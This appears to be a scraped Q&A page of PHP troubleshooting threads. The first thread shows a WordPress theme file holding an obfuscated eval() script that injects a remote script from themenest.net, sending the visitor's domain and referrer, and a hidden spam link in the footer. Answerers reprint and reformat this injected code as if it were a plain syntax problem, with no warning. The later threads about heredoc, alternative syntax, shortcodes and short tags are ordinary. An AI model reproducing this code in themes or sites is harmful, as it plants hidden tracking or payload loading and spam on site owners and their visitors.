Parse error: syntax error, unexpected '}' - php

I wonder if somebody would spare a minute to look over a code and help me. I'm not php savvy and I need a bit of help.
I've installed a theme onto my wordpress, and when I activated it I got this error message:
Parse error: syntax error, unexpected '}' in /home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php on line 1
The message displays on both my front end domain, and also on my back end wordpress admin area.
I'm guessing I've one too many or one too little brackets. But I'm not sure where. I'm unable to see the actual error, because I'm not familiar with php coding. All I know is it is in line 1 and it has to do with "}"
The whole file consists only of 2 code lines, and if anyone can help I'd really appreciate it.
This is the entire code as it appears in functions-init.php
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>
Can anyone help me please. I've goggled and I've searched forums, and the web, yet I didn't find solution.
Thanks ahead.

This may be a mere question of code formatting, try this:
<?php
if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
}
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew'))
{
function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
}
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>

Such a code formatting issue:
<?php
if (!function_exists('insert_jquery_slider')) {
function insert_jquery_slider()
{ ?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php }
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew')) {
function insert_jquery_slidernew()
{ ?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php }
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Please close the topic.
Thanks.

Related

Parse error: syntax error, unexpected '<<' (T_SL) on line 48

I have this code, but I'm getting
Parse error: syntax error, unexpected '<<' (T_SL) on line 48
I think the problem is from php code. but, i don't know what is it.
Can someone please explain why this error, or what my script is missing?
Thanks.
<!DOCTYPE html>
<html>
<head>
<!--[if IE]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
<script>
function updatemenu() {
if (document.getElementById('responsive-menu').checked == true) {
document.getElementById('menu').style.borderBottomRightRadius = '0';
document.getElementById('menu').style.borderBottomLeftRadius = '0';
}else{
document.getElementById('menu').style.borderRadius = '9px';
}
}
</script>
</head>
<body>
<div id="content">
<center><br><br>
<?php
$uid=<<<EOD
ID : $_POST['user_id']
EOD;
$upw=<<<EOD
PW : $_POST['user_pw']
EOD;
echo $uid;
echo $upw;
?>
</center><br><br><br><br>
</div>
</body>
</html>
While you could use HEREDOC it poses an issue when it comes to spaces as another answer already points out. The way that I would approach it is to use something like the following which works and is easier to read:
<center><br><br>
ID: <?php echo $_POST['user_id']; ?>
PW: <?php echo $_POST['user_pw']; ?>
</center>
Reflecting the user's password back to them on the page isn't advised unless you are just getting a feel for how data moves around pages.
I think you have blank space after EOD, when there should be none. Please remove it and retry. Also remove any proceeding blank space before the ending EOD;
Solution: Remove trailing space after ALL <<<EOD and remove preceding whitespace before ALL the terminating EOD;

Alternative syntax for control structures in PHP

I have a very short code snippet but I have been unable to get the result I want. The code is as shown
<?php
$user = true;
if($user==true): ?>
<p>you are already logged in</p>
<?php else: ?>
<p>User value is not set</p>
<?php endif; ?>
on running the code it gives this error:Parse error: syntax error, unexpected 'else' (T_ELSE)
What might be the problem?
It could be a problem with your editor. I had similar problems (more than once) with Atom.
To solve, I just copied the file contents, closed it, reopened, pasted the contents and saved.
The code is fine, as others mentioned in the comments. You should try out this.
#lil your code is looks right only, this is alternate way to get same output if you like you can try this.
<?php
$user = true;
if($user==true)
{
?>
<p>you are already logged in</p>
<?php
}
else
{
?>
<p>User value is not set</p>
<?php
} ?>

Using shortcode breaks RSS feed

I had successfully created shortcode on my wordpress website to use it in the posts. But I later realised that it is breaking my rss-feed.
Here is the shortcodes.php
<?php
function disclaimer() {
$disc = " <p style='font-style:italic;'> <strong>Disclaimer</strong> :</p>";
return $disc;
}
add_shortcode('disclaimer', 'disclaimer');
?>
Here is how I am including it on the functions.php
<?php
include 'shortcodes.php';
So now, I am getting this error when I access my rss URL on my browser
So when I removed this include 'shortcodes.php'; my rss feed started working. But then I also want my shortcode to work. Am I doing anything wrong here? Any help would be highly appreciated.
You can change your function so that the disclaimer is not added on feed page
function disclaimer() {
if ( ! is_feed() ) {
$disc = " <p style='font-style:italic;'> <strong>Disclaimer</strong> :</p>";
return $disc;
}
}
Edit:
Then it is not a problem with the code, but some problem with the file.
Make sure there is not extra space after the closing ?> php tag. Or better, try to remove it completely.

output 2 string in one function

Ok, I must admit, I am a rather PHP noob who struggles with what seems to me a simple issue.
What i want to accomplish is that I can put 2 strings in 1 function and echo them in different places.
In common.php i have this:
<?
function printHeader($titel) {
?>
Later on in the file i echo it between
And in index.php i have this:
<?
include "common.php";
printHeader('this is my title');
?>
This works alright.... now what i like to do is to ad another String to the printheader to not only echo the title but also the H1, so i tried this:
Common:
<?
function printHeader($titel . $headtitle) {
?>
Index:
<?
include "common.php";
printHeader('This is my title!' . 'This is my H1');
?>
This does not seem to work. Are there any phpsavvy guys out here who can help me wit this simple problem?
If it is not to much to ask I would also like to Echo some standard value if $headtitle is empty, but that is waaaay of my league :)
EDIT: thanks to you guys the first problem is fixed. Now i want to try and fix the IF empty part. So I came up with this:
<?
function printHeader($titel, $headtitle) {
if (empty($headtitle)) {
echo 'title is empty'; }
?>
html goes here + this: <h1><?=$headtitle; ?></h1> more HTML
<? } ?>
This does not seem to work...
any help would be appreciated!
Thanks in advance,
A simple webdesigner ;)
Function arguments should seperate by a comma ,
function printHeader($titel , $headtitle)
And obviously same for calling,
printHeader('This is my title!' , 'This is my H1');
You have to seperate the second the argument by , like this
function printHeader($titel , $headtitle)
and change while calling also
printHeader("string1","String2");
or keep like this
function printHeader($titel){..... }
printHeader("string1"."String2");
so $title1 will have appended string.

PHP broken code on local machine but working on staging server

I'm having a strange issue here, i have this bit of code:
<?php
if ($node->nid == "1") {
include 'front.tpl.php';
return;
} else {
?>
<div id="left-col" class="grid_9">
<h1><?php print $title ?></h1>
<hr />
<?php global $user;if ( $is_admin ) { ?>[Edit]<? } ?>
<?php if ($show_messages) { print $messages; } ?>
<?php print $help ?>
<?php print $content; ?>
</div>
<?php } ?>
This exact code is working fine on the staging server, i've litrally just installed a LAMP stack using XAMPP and downloaded the code from the server.
PHP is now throwing this error:
Parse error: syntax error, unexpected $end in F:\Workspace\xx\xx\xx\xx\xx\node.tpl.php on line 19
Anyone have any ideas what it could be? i have a feeling it "might" be due to the jumping in and out of tags but i'm not certain, can anyone shed some light on this. (this might be a server issue in which case i will also happily take advice on what php.ini settings need to be poked in the right direction!
Thanks in advance.
My guess is the server doesn't have short tag support turned on.
<? } ?>

Categories